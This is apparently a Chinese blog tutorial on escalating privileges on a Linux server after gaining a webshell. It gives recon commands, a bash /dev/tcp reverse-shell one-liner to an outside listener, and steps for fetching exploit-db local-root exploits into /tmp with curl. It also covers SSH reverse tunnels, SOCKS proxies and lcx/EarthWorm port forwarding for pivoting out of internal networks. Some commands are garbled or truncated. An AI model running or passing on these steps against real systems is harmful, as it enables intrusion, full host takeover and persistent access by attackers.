服务器提权之linux

image

站了三天三夜的小情侣,大圣路过就动了凡心,还做了一场刻骨铭心的春秋大梦。有点不好的是让第三者成功俘获了夕阳武士


0x00 简介


当攻击者拿到webshell之后,他会为了完全管理控制整个主机系统而去提升自己通过webshell得到的权限。

提权有两类。

1.水平权限提升

攻击者在具有相似权限的账户中平级‘移动’,比如攻击者获得在线银行的账户访问权限,目的是取得更多的金钱(万恶的money),那么攻击者会尝试各种漏洞来取得其他账户的权限。

2.垂直权限提升

攻击者的动机通常是完全控制计算机系统,目的就很多了。当攻击者从被攻击获得的用户账户权限到用户权限扩大或者提升到完全管理权限时,就是垂直权限提升。
主机分为windows和linux,由于操作系统不同,所以方法也不尽相同,就分为两大类:windows提权和linux提权
windows提权又分为系统漏洞提权和第三方服务提权。
linux提权有操作系统漏洞提权和第三方服务提权


0x01 操作系统漏洞提权


流程

  • 获取操作系统版本号
  • 搜索exp(根据操作系统版本号)
  • 反弹shell
  • 尝试提权

内核是系统核,发行版是每个社团增加了外围资源(比如用户界面,系统安装,程序更新),所以各发行版的内核可以一致,但发行版采取的各种用户应用方式可能不同。

获取发行版本

  • cat /etc/issue
  • cat /etc/*-release
  • cat /etc/lsb-release
  • cat /etc/redhat-release

获取内核版本

  • cat /proc/version
  • uname -a
  • uname -mrs
  • rpm -q kernel
  • dmesg | grep Linux
  • ls /boot |grep vmlinuz

反弹shell

上述工作完成后

下一步就是反弹一个交互性的shell,需要有一个外网的服务器。
反弹shell有以下几步

外网主机运行

-l -p 8080(监听8080端口)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
目标机运行
``` /bin/bash -i >& /dev/tcp/10.xxxx/8080 0<&1
运行程序后即可看到反弹shell的交互模式
在www.exploit.com搜索 `相应的版本号\+local root `
然后找相应版本号的代码 。 当下载到本地后或者通过webshell上传,即可使用
当权限拒绝下载时,到神奇的tmp目录就可完成下载。
按照程序的介绍运行后,通过参看/root 目录下文件来确认是否是root权限
程序可能不够完美,没有提示符之类的,所以创建一个交互的bash很有必要。
linux一般会内置python,所以可以通过python 来创建一个交互性强点的bash
```python
python -c 'import pty; pty.spawn("/bin/bash")'

输入命令后即可创建成功。


0x02 第三方服务提权


条件:
在第三方服务器有root权限的情况下,可udf提权,具体流程参考windows udf提权。第三方服务器一般都不会有root权限,情况比较少见。

1
ps aux |root

可以通过找root执行的服务,再找第三方软件服务来找是否可以利用。


0x03 反向连接与端口转发


反弹的shell 有很多不方便,比如vim的部分功能,所以使用ssh连接更好。

反向连接

什么是反向连接

反向连接是指主机A(受控端)主动连接主机B(控制端),在主机A和主机B之间建立一个远程连接,通过这个连
接主机B可以主动的向主机A发送一些请求。

为什么需要主机A主动去连接主机B呢?

这是因为主机A在局域网内,如果没有对主机A进行端口映射,对于主机B来说主机A是不可见的,如果在主机B这
边向主机A发送连接请求,这个请求是不可达的。而主机B有自己独立的IP,对于主机A来说是可见的,可以直接向
主机B请求连接。

连接流程

  • 主机A ssh客户端向主机B sshd服务端发送请求,建立远程连接。
  • 主机B sshd服务端创建本地连接很远程连接的映射(反向连接通道)。
  • 主机B ssh客户端向主机B sshd服务端的连接通道发送请求, 建立主机B ssh和主机A sshd的连接。

SSH反向连接的使用

要建立反向连接,首先在主机A上运行:

1
ssh -f -N -R 10000:localhost:22 user@Bip

ssh -f -N -R 8080:localhost:22 root@115.159.126.186
10000是主机B上的本地连接端口, 22是主机B上远程连接的那个端口, user@Bip是主机B的地址
连接上后,会需要输入密码。连接成功后,SSH反向连接就建立起来了。要连接到主机A,在主机B上运行:

1
ssh lyb@localhost -p 10000

使用的过程中碰到一个问题, 就是在主机A上发起请求的时候, 需要输入密码。
这时候用ssh public key的方法来解决

ssh socks5代理

1
ssh -N -D 1081 外网ip

-N 不登录只代理

端口转发

有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。

条件

web服务器在内网中,windows远程桌面的3389端口和linux ssh 的22端口无法连接。
web服务器通常情况下可能所处的情况

1.内网IP80端口通过端口映射到外网IP80端口
2.内网的web服务通过外网IP反向代理

判断

如何判断web服务器是内网映射还是反向代理呢?

1.ping 域名
2.通过webshell执行ipconfig或者ifconfig

如何端口转发

端口转发有很多工具

lcx (windows)
lcx –lister 51 3389

表示在本机上监听51端口,该端口主要是接受被控制计算机3389端口转发过来的数据

lcx –slave 218.69.. 51 192.168.80.129 3389

表示将本机IP地址为192.168.80.129的3389端口转发到远程地址为“218.69..”的51端口。

cmd mstsc 218.69..:3388
htran ()
EarthWorm

在自己外网主机执行
./ew -s rcsocks -l 1080 -e 8888
内网主机执行
``` ./ew -s rssocks -d 外网ip -e 8888
外网会开启一个1080 socks5 代理端口

netsh (windows自带)
reGeorgSocksProxy.py
meterpreter porfwd ()

0x04 演示


本地搭建环境测试

获取发行版本

image

反弹shell

image

查看权限是低权限

image

在www.exploit-db.com 搜索exp,

image

找到centos7版本的,点开看看,发现是国人写的2333~

image

直接curl 下载地址

image

ls 查看发现没下载,说明权限不够,

image

cd 到权限777的tmp目录

然后再curl下载地址
查看说明并执行
image

成功

image

查看权限 并用python创建交互性的bash

image

反弹shell的bash太不好用,不能撤销不能使用方向键不能删除。

尝试ssh连接,免密码登录

在自己的主机生成公钥私钥,公钥放到目标主机
image

由于是外网连接内网所以连接会超时
image

尝试端口转发

题外话:如果你对本站文章字体有任何不适,请告知我,我会回复你,字体请让浏览器调到对眼睛舒适的大小;默认不允许转载,除非转载注明出处。

end